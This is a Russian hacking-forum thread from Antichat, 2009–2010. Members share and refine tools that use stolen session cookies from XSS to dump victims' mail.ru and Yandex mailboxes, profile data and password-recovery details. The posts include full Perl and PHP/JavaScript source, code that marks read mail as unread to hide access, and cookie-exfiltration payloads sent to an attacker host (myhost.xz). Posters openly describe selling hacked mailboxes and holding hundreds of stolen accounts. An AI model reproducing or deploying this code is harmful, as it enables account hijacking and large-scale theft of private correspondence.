Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   [new mail.ru dumper] by slider (https://forum.antichat.xyz/showthread.php?t=131044)

slider 23.07.2009 18:34

[new mail.ru dumper] by slider
 

Ребят ... а можно я старое описание оставлю .. а ?! =\
Ибо правда заеп... скажу только что код уменьшил в три раза, улучил функционал, исправил багесы, старая версия кстать загнулась ... вобщем прошу любить и жаловать


Наверняка каждому из вас приходилось или приходиться иметь дело с XSS на mail.ru т.к в данный момент это самая актуальная бага на выше упомянутом сервере ....

как нам уже известно сессия не живёт вечно и желательно за небольшой промежуток времени собрать максимально большое количество информации...

Думаю именно в тут вам и поможет эта тулза... в ее задачи как раз и входить ..
  • слить анкетные данные, персональную информацию, контактную информацию, данные для восстановления пароля
  • слить письма с таких директорий, как:
    - Входящие
    - Сомнительные
    - Отправленные
    - Корзина

Кому сможет пригодиться этот скрипт?!

ИМХО всем .. от мала до велика....
пригодится тем у кого "напряг" со временем...
пригодится ленивым ... кому лень рыться на ящике и сливать в ручную...
пригодится незнающим .. те у кого проблема с тем что бы поменять кукисы...
пригодится тем кто делает бизнесс на хеке майл.ру ... например .. фейк не сработал ... а сессию вы получили ... не отдадите же вы заказчику окуратно записаные кукисы?!... заказчик наверняка кроме как распечатать и повешать их на стенку ничего не придумает ;)

P.S: Если нуна .. то можно сделать версию а-ля сниффер ... будет собирать кукису и аккуратненько дамрить всё на сервере.....



PHP код:

#!/usr/bin/perl 

## Сoded by [slider]
## http://forum.antichat.ru

## hello 2 my friends: brain[pillow], genom-- , cy4_, ... and .. and .. m0nzt3r - loleg :-P

use IO::Socket;

$cookies q(ТУТ БУДЕТ КУКИСА);

print  
'-' x 56 "\n [i] Coded by slider \n [i] forum.antichat.ru\n" '-' x 56 "\n\n";
information();create_dir();private();inbox();outbox();doubtful();trash();

sub requester{
    
$rqst IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
    if(
$_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    while(
$answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}}
    if(
$_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    
open (mailbox$_[1]);while($answer = <$rqst>){print mailbox $answer;}}
    if(
$_[2] == 3){
    print 
$rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";    
    while(
$answer = <$rqst>){
    if (
$answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){
    print 
"  [~] MID: $1 && PAGE: $p \n";    
    
open (mailbox">./mailbox/$email/$_[1]/$p.$1.html");
    
$connect IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
    print 
$connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    while(
$answer = <$connect>)
    {print 
mailbox $answer;}}}}
}

sub create_dir{
    if ( ! -
"mailbox" ){mkdir "mailbox"0755 or die "[~] Can't create mailbox: $!\n";}     
    if ( ! -
"mailbox/$email){mkdir "mailbox/$email"0755 or die "[~] Can't create mailbox/$email: $!\n";}     
    if ( ! -
"mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox"0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";}         
    if ( ! -
"mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox"0755 or die "[~] Can't create $email/outbox: $!\n";}         
    if ( ! -
"mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful"0755 or die "[~] Can't create $email/doubtful: $!\n";}         
    if ( ! -
"mailbox/$email/trash" ){mkdir "mailbox/$email/trash"0755 or die "[~] Can't create $email/trash: $!\n";}         
    if ( ! -
"mailbox/$email/private" ){mkdir "mailbox/$email/private"0755 or die "[~] Can't create $email/private: $!\n";}         
        print 
"[!] Creating directory: ok\n";$o '['.'-'x 5;
}

sub information{
    
$reg_last_p '<b class=odin>&middot;&nbsp;(.*)&nbsp;&middot;<\/b';
    print 
"[!] Get information:\n\n";$o '['.'-'x5;
    
$email=requester(0,'<nobr>(.*)<\/nobr><\/td><form action=logout>',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")}
    print 
"[- E-mail: $email\n[\n";
    
$ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox    (last_page): $ilp\n";
    
$somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n";
    
$outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox   (last_page): $outbox\n";
    
$trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash    (last_page): $trash\n\n";
}

sub private{
    print 
"[*] Getting private information: ";
    
requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2);
    
requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2);
    
requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2);
    
requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2);
    
requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2);
    print 
"ok\n\n"
}

sub inbox{
    print 
"[!] Geting: INBOX:\n\n";
    for(
$p=1;$p<$ilp+1;$p++){
    
requester("/cgi-bin/msglist?folder=0&page=",'inbox',3);
    print 
"  [~] ok \n";}
}

sub outbox{
    print 
"\n[!] Geting: OUTBOX:\n\n";
    for(
$p=1;$p<$outbox+1;$p++){
    
requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3);
    print 
"  [~] ok \n";}
}

sub doubtful{
    print 
"\n[!] Geting: DOUBTFUL:\n\n";
    for(
$p=1;$p<$somn+1;$p++){
    
requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3);
    print 
"  [~] ok \n";}
}

sub trash{
    print 
"\n[!] Geting: TRASH:\n\n";
    for(
$p=1;$p<$trash+1;$p++){
    
requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3);
    print 
"  [~] ok \n";}
}
    
## Active Perl:
## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi

## Antichat.ru 

Download here:http://webfile.ru/3794238


------------------------------------------------------------------------------------------------------


Долгожданная версия дампера под сниффер


- такс... а как юзать!?..
Да элементарно.. при юзании ксс подставляем ссылку на этот скрипт

- ещё что то!?..
ну да... подправьте положение перловы в первой строке: #!"C:\perl\bin\perl.exe" на ваш путь..

ммм... а так же установите нужные права... + убедитесь что в папке со скриптом стоят права на запись =)


Download here:http://webfile.ru/3815167


brain[pillow] 24.07.2009 00:43

Вообще экзотика - такие вещи на перле писать =)

Spyder 24.07.2009 02:56

brain[pillow] , почему это?

brain[pillow] 24.07.2009 03:07

Ну это сугубо моё личное мнение. Такие вещи обычно на PHP или JS пишутся.

LeverOne 24.07.2009 06:32

=== 30.10.2009

PHP код:

<?php
set_time_limit
(600);

// если php < 5.2.0
if (!function_exists('json_decode'))
{
   function 
json_decode($json)
   {
      
// Author: walidator.info 2009 mod by LO (temp)
      
$comment false;
      
$out '$x=';
      for (
$i 0$i strlen($json); $i++)
      {
         if (!
$comment)
         {
            if (
$json[$i] == '{')       $out .= ' array(';
            else if (
$json[$i] == '}')  $out .= ')';
            else if (
$json[$i] == '[')  $out .= ' array(';
            else if (
$json[$i] == ']')  $out .= ')';
            else if (
$json[$i] == ':')  $out .= '=>';
            else                        
$out .= $json[$i];
         }
         else 
$out .= $json[$i];
         if (
$json[$i] == '"')
         {
            
$n 1;
            while (
$json[$i $n] == '\\'$n++;
            if (!(
$n 1)) $comment = !$comment;
         }
      }
      @eval(
$out ' or null;');
      return 
$x;
   }
}

// определение целей, для которых запущен скрипт
if ($_REQUEST['action'] == 'sender')
      
js_sender();
else if(
$_REQUEST['action'] == 'save')
   {
      
create_dir(rawurldecode($_REQUEST['email']));
      
write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n"rawurldecode($_REQUEST['email']), 'registr_info.txt');
   }
else 
select_mail();

// функция выбирает дампер в зависимости от кукисов 
function select_mail()
{
   
$cookie str_replace(';%20''; '$_SERVER['QUERY_STRING']);
   if (
strpos($cookie'Mpop') === false
    { 
       if (
strpos($cookie'yandex') === false
           die(); 
       else 
           
yandex_ru_dump($cookie);
    } 
   else 
     
mail_ru_dump($cookie);


// главная функция дампа mail.ru 
function mail_ru_dump($cookie)
{
   
preg_match('/:.+:(.+?):/'$cookie$email);
   
create_dir($email[1]);
   
// чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается. 
   
$fcheck fopen('./mailbox/'.$email[1].'/check.txt''ab') or die();
   
$exist file_get_contents('./mailbox/'.$email[1].'/check.txt');
   
$folders requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D'$cookie'/\[.*\]/');
   
$folders json_decode(utf8_encode($folders[0][0]), true);
   if (
$folders[1] == 'Redirect'js_mail_ru_dump();  // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер
   
foreach ($folders[2]['fList'] as $folder)
   {
     
$filename = ($folder['ID'] == 'inbox' : ($folder['ID'] == 950 'doubtful' : ($folder['ID'] == 500000 'outbox' : ($folder['ID'] == 500002 'trash' 'custom')))); 
      
$fp fopen('./mailbox/'.$email[1].'/'.$filename.'.html''ab') or die();  
      
// все иды в папке одним запросом
      
$ids requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D'$cookie'/\[.*\]/');
      
$ids json_decode(utf8_encode($ids[0][0]), true);
      foreach (
$ids[2]['mList'] as $id)
      {
         
// чеккер
         
if (strpos($exist$id) === false)
            {
               
// $message[0][0] - строка JSON - из нее многое можно вытащить.
               
$message requester('pro.mail.ru''/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id'%22%5D'$cookie'/\[.*\]/');
               
$message json_decode(utf8_encode($message[0][0]), true);
               
// проверка на прочитанность
               
if ($message[2]['FlagUnread'])
                   
requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id'%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg'$cookie);
               
// запись сообщения
               
fwrite($fputf8_decode("<b>ID: </b>" .$id"<br/>\r\n<b>From: </b>"$message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n"));
               
fwrite($fcheck"$id\r\n");
            }
         else break;
      }
      
fclose($fp);
   }
   
// проверка дампа приватной информации 
   
if (strpos($exist'private') === false
      {
         
$userinfo requester('win.mail.ru''/cgi-bin/userinfo?mra=1'$cookie'/class=registr>(.*)<input type="submit"/s'); 
         
$anketa1 requester('win.mail.ru''/cgi-bin/anketa?page=1'$cookie'/class=registr>(.*)<input type="submit"/s'); 
         
$anketa2 requester('win.mail.ru''/cgi-bin/anketa?page=2'$cookie'/class=registr>(.*)<input type="submit"/s');
         
write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders$email[1], 'private.html'); 
         
write_message("private\r\n"$email[1], 'check.txt');
      }
   
fclose($fcheck);
}

тупо соединить

PHP код:


//  JS-дампер mail.ru
function js_mail_ru_dump()
{
?>

dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>';
mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1';
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, context = window;

document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';

if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';

switch (location.hostname) {
  case 'win.mail.ru':
  case 'koi.mail.ru':
    get_ids_html(1);
    break;
  case 'pro.mail.ru':
    get_ids_ajax();
    break;
  default:
    /* if xss on [sub].mail.ru  */
    try {document.domain = 'mail.ru'} catch(er){}
    document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
}

/* html-interface */
function get_ids_html(page) {
 requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
            function() {
               if (r.readyState == 4) {
                   ids_temp = r.responseText.match(/value="\d{20}/gi) || '';
                   for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7));
                   r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false);
               }
             }
          );
}

/* ajax-interface */
function get_ids_ajax() {
  requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
             function() {
              if (r.readyState == 4) {
                  ids = r.responseText.match(/\d{20}_msg/g) || '';
                  for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20);
                  if (ids[ids_index = 0]) get_message(ids[ids_index]);
              }
            }
           );
}

/* common */
function get_message(id) {
  requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D',
             function() {
               if (r.readyState == 4) {
                   message = r.responseText;
                   if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);  
                   message = encodeURIComponent(message);
                   /* HTML 5 */
                   if (window.postMessage)
                       document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                   else  /* HTML<5 */
                     document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                   if (ids[++ids_index]) get_message(ids[ids_index]);
               }
             }
           );
}

/* common */
function requester(url, func) {
  try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
  r.open('GET', url);
  r.onreadystatechange = func;
  r.send(null);
}

<?php
   
die();
}

// функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp
function js_sender()
{
?>
<html>
<body>
<script>
if (window.addEventListener) {
    window.addEventListener('message', listener, false);
} else {
    window.attachEvent('onmessage', listener);
}

function listener(event) {
  with (new XMLHttpRequest()) 
     open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
     setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
     send(event.data);
}
</script>
</body>
</html>
<?php
   
die();
}


// аналогично: главная функция дампа yandex.ru
function yandex_ru_dump($cookie)

   
$passport_and_email requester('passport.yandex.ru''/passport?mode=passport'$cookie'/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si'); 
   
$index requester('mail.yandex.ru''/m/folders'$cookie); 
   
create_dir($passport_and_email[2][0].'@yandex.ru'); 
   
$fcheck fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt''ab') or die(); 
   
$exist file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt'); 
   if (
strpos($exist'private') === false
      { 
         
write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index$passport_and_email[2][0].'@yandex.ru''private.html');   
         
write_message("private\r\n"$passport_and_email[2][0].'@yandex.ru''check.txt'); 
      } 
   
preg_match_all('/folder=(.*?)"/'$index$folders); 
   
// если папок не будет найдено, то куки недействительны 
   
if ($folders[1][0] == '') die(); 
   for (
$n 0$n count($folders[1]); $n++) 
   { 
      
$filename = ($n == 'inbox' : ($n == 'outbox' : ($n == 'trash' : ($n == 'spam' : ($n == 'draft' 'custom')))));  
      
$fp fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html''ab') or die();
      
$page 0;
      do {
            
$messagelist requester('mail.yandex.ru''/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page$cookie); 
            
preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/'$messagelist$ids_and_mark);  
            if (
$ids_and_mark[1][0] == '') break;
            for (
$m 0$m count($ids_and_mark[1]); $m++)
            { 
               if (
strpos($exist$ids_and_mark[1][$m]) === false
                  { 
                     
$answer requester('mail.yandex.ru''/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie'/(<div class="c".*)<div class="op"/s');    
                     
$message "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0]; 
                     
// если условие выполняется, то письмо непрочитано. 
                     
if ($ids_and_mark[2][$m] == 'b'
                         
requester('mail.yandex.ru''/neo/ajax/action_message_operate?' 'oper=mark_not_read&current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie); 
                     
fwrite($fp$message); 
                     
fwrite($fcheck$ids_and_mark[1][$m]."\r\n"); 
                  } 
            } 
         }  while(
preg_match('/btn-r/'$messagelist) > 0); 
      
fclose($fp); 
   } 
  
fclose($fcheck); 
}

// универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа  
function requester($host$path$cookie$regexp ""

   
$fp fsockopen($host80) or die(); 
   
fputs ($fp"GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); 
   
$answer=''
   while (!
feof($fp)) $answer .= fgets($fp4096); 
   
fclose($fp); 
   if (
$regexp != ''preg_match_all($regexp$answer$answer); 
   return 
$answer


// универсальная функция записи
function write_message($message$email$filename)
{
   
$fp fopen("./mailbox/$email/$filename""ab") or die();
   
fwrite($fp$message);
   
fclose($fp);
}

// универсальная функция создания директорий
function create_dir($email)
{
   if (!
is_dir("./mailbox")) mkdir("./mailbox"0755) or die();
   if (!
is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email0755) or die();
}


            
//\\  LeverOne //\\
?>

Это - дампер сообщений mail.ru и yandex.ru
Вот его особенности
.
  • [+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ.
  • [+] Собирает письма из ВСЕХ папок.
  • [+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени).
  • При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть.
  • [+] Чеккер: уже скаченные сообщения не запрашиваются вновь.
  • [+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться.
  • [+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622
Способ запуска:

1. Только PHP-функционал:

http://mysite.xz/dump.php?Mpop=blabla

(обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием)

или

new Image().src='http://myhost.xz/dump.php?' + document.cookie;

2. Весь функционал (целесообразнее)

with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie;

Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно.

=== 3.01.2010

Как проверить работоспособность php-части дампера на локальном хосте?

Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla

Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы).

Как проверить работоспособность javascript-части дампера на локальном хосте?

Найдите в дампере следующие строки:
PHP код:

   $folders requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D'$cookie'/\[.*\]/');
   
$folders json_decode(utf8_encode($folders[0][0]), true);
   if (
$folders[1] == 'Redirect')  js_mail_ru_dump(); 

и замените их на:
PHP код:

/*   $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
   $folders = json_decode(utf8_encode($folders[0][0]), true);
   if ($folders[1] == 'Redirect') */ 
js_mail_ru_dump(); 

Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете:

javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0);

Появился файл registr_info.txt в директории mailbox/yourmail@mail.ru ?

Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке.

На текущий момент скрипт полностью работоспособен.

slider 24.07.2009 08:13

LeverOne я удивлён что ты не создал 3ую категорию, "замечания очень несущественного характера":

В cабе create_dir ну никак не нужно:
Код:

$o = '['.'-'x5
да и вообще имха.. так будет красивее
Код:

$o = '['.'-'x 5

Касательно 1го пункта: исправил всё...

Касательно 2го пункта:

1. Перезалил на файлообменник
2. Менять не буду ... мне так больше нравится
3. Разделители лишними не бывают, убирать их не стоит

Спасибо за суровые замечания LeverOne, с утра очень подняло настроение)...

m0nzt3r 24.07.2009 10:30

Цитата:

Сообщение от slider
да и вообще имха.. так будет красивее
Код:
$o = '['.'-'x 5

да ну, кто тебе это сказал :D

eLWAux 24.07.2009 13:52

эм.. есть предложение сделать "универсальный" дампер )
прикрутить яху, гмейл, яндекс.почту, etc
как смотришь на ето? )

slider 27.07.2009 13:30

Если будет актуально .. то почему бы и нет .. разом дампить ящики всех знаменитых сервисов ... заразить саент фреймами ... с ксс в знаменитых почтовиках и жрать результатов.. только нужно будет многое переписывать... нгадо будет отладить механизм..
Так же сделать чекер какой то .. что бы повторно ту же почту не сливать ...

Spyder 02.08.2009 01:03

Цитата:

Такие вещи обычно на PHP или JS пишутся.
на JS? =\
По моему перл более удобен при решении таких задач чем пшп

slider 02.08.2009 16:18

Цитата:

Сообщение от Spyder
на JS? =\
По моему перл более удобен при решении таких задач чем пшп

на JS был бы высший пилотаж .. так что перл тут просто легкий вариант ...

Kornero 02.08.2009 16:20

Извиняюсь, можно нубский вопрос?)
А как этим пользоваться?
Я перл совсем не знаю, на все мои попытки выдаётся Something wrong: e-mail

ADD:
Может кто-нибудь напишет примерчик с использованием дампера. Я видимо не так или не туда всё ввожу)))

DIMON4G 02.08.2009 23:01

Kornero пример:

Код:

$cookies = q(Mpop=значения;);
всё пашет! ;)

sNt 03.08.2009 02:19

Вещь прикольная, но тут есть одна беда: сессия здохнет до того, как вы успеете что-то с неё поиметь. У меня из 16-ти только что отыметых кук только 13 срабатывали (остальные, видимо, по тем или иным причинам уже успели отойти в мир иной. И это свежак нереальный, только что со снифа. А вы прикиньте, что будет через час или два...). Тут есть смысл прикрутить автопизд инфы по мере поступления кук на сниф, чтобы снизить вероятность промаха. Вот тогда можно по идее ваще без фейков обходиться, если можно будет вытаскивать инфу о пароле и т.д., как указывалось ранее. В этом плане удобно с контактом работать. Там куки гораздо дольше живут и дохнут только если закрыть сессию. А на мэйле они сами по себе могут ласты посклеивать и потом будешь перед заказчиком с опущенными в пол глазами стоять... Тем более контакт далеко не все закрывают т.к. влом по 50 раз пас вводить на дню :)

Kornero 03.08.2009 02:42

DIMON4G
А можно совсем пример?=)
Т.е. с буковками)
Я попробовал как ты сказал:
Цитата:

$cookies = q(Mpop=1249252338:47475a0643677542190502190a1d0004 1c0601034966535c465d05030c070916000f041656565d496e 515a454641555a185c515f541c404d:mymail@mail.ru:;);
Ничего не вышло, куча каких-то ошибок вылезла. Пробовал всякое в различных вариациях. Может мне пока ещё рано заниматься такими сложнами хаками?=)

sNt 03.08.2009 03:06

Расслабсо, корнеро. Освойся для начала с xss, почитай про куки. Попиздь акков для тренировки. Ты сам не знаешь, зачем тебе эта тулза. Тупо увидел что-то интересное и сразу пытаешься во все влезть и все понять. Что-то из серии "увидел мяч, хочу в ЦСКА". Научись сначала просто попадать по мячу, а потом поговорим :)

Kornero 03.08.2009 04:35

Ну положим, с xss я вполне разбираюсь, что такое куки впринципе знаю, даже как их делать на пхп. И акков я натырил как раз 300 штук))) Вот хотел побыстрому всю инфу с них слить...

slider 03.08.2009 13:10

Цитата:

Сообщение от sNt
Вещь прикольная, но тут есть одна беда: сессия здохнет до того, как вы успеете что-то с неё поиметь. У меня из 16-ти только что отыметых кук только 13 срабатывали (остальные, видимо, по тем или иным причинам уже успели отойти в мир иной. И это свежак нереальный, только что со снифа. А вы прикиньте, что будет через час или два...).

Возможно стоит чек по IP .. или ещё что то .. если свежая .. то это не сессия умерла.. у меня такое было не раз, ловил сессию которой от силы минута ... при попытке залезть в ящик требовалась авторизация ... вобщем тут всё благодоря настройкам...


Цитата:

автопизд инфы по мере поступления
В разработке..

sNt 03.08.2009 15:37

Тогда вписывай куки исмотри, что не так. Анализируй ошибки, которые выдает прога. Я щас тоже покопаюсь )

Kornero 03.08.2009 16:22

Она выдаёт столько ошибок, что они все не влазят в командную строку и самые первые затираются=)))) А анализировать код у меня не вышло ввиду того что перл не знаю вообще, а сам язык уж больно сильно отличается от Pascal;C;Java;PHP которые я более менее знаю... Ладно в любом случае я сёдня уезжаю недели на две. Потом как-нибудь перл поучу)

slider 03.08.2009 16:40

Принимайте "снифферную" версию ... в первом посте

Nightmarе 03.01.2010 07:55

Скрипты на Mail.Ru не пашут ;( Обновите плииз. А то как раз XSS выложили на майл ру, а скрипта под рукой нету ;(

slider 03.01.2010 11:45

PHP код:

#!/usr/bin/perl 

## Сoded by [slider]
## http://forum.antichat.ru

## hello 2 my friends: brain[pillow], genom-- , cy4_ , ... and .. and .. m0nzt3r - loleg :-P

use IO::Socket;

$cookies q();

print  
'-' x 56 "\n [i] Coded by slider \n [i] forum.antichat.ru\n" '-' x 56 "\n\n";
information();create_dir();private();inbox();outbox();doubtful();trash();

sub requester{
    
$rqst IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
    if(
$_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    while(
$answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}}
    if(
$_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    
open (mailbox$_[1]);while($answer = <$rqst>){print mailbox $answer;}}
    if(
$_[2] == 3){
    print 
$rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";    
    while(
$answer = <$rqst>){
    if (
$answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){
    print 
"  [~] MID: $1 && PAGE: $p \n";    
    
open (mailbox">./mailbox/$email/$_[1]/$p.$1.html");
    
$connect IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
    print 
$connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    while(
$answer = <$connect>)
    {print 
mailbox $answer;}}}}
}

sub create_dir{
    if ( ! -
"mailbox" ){mkdir "mailbox"0755 or die "[~] Can't create mailbox: $!\n";}     
    if ( ! -
"mailbox/$email){mkdir "mailbox/$email"0755 or die "[~] Can't create mailbox/$email: $!\n";}     
    if ( ! -
"mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox"0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";}         
    if ( ! -
"mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox"0755 or die "[~] Can't create $email/outbox: $!\n";}         
    if ( ! -
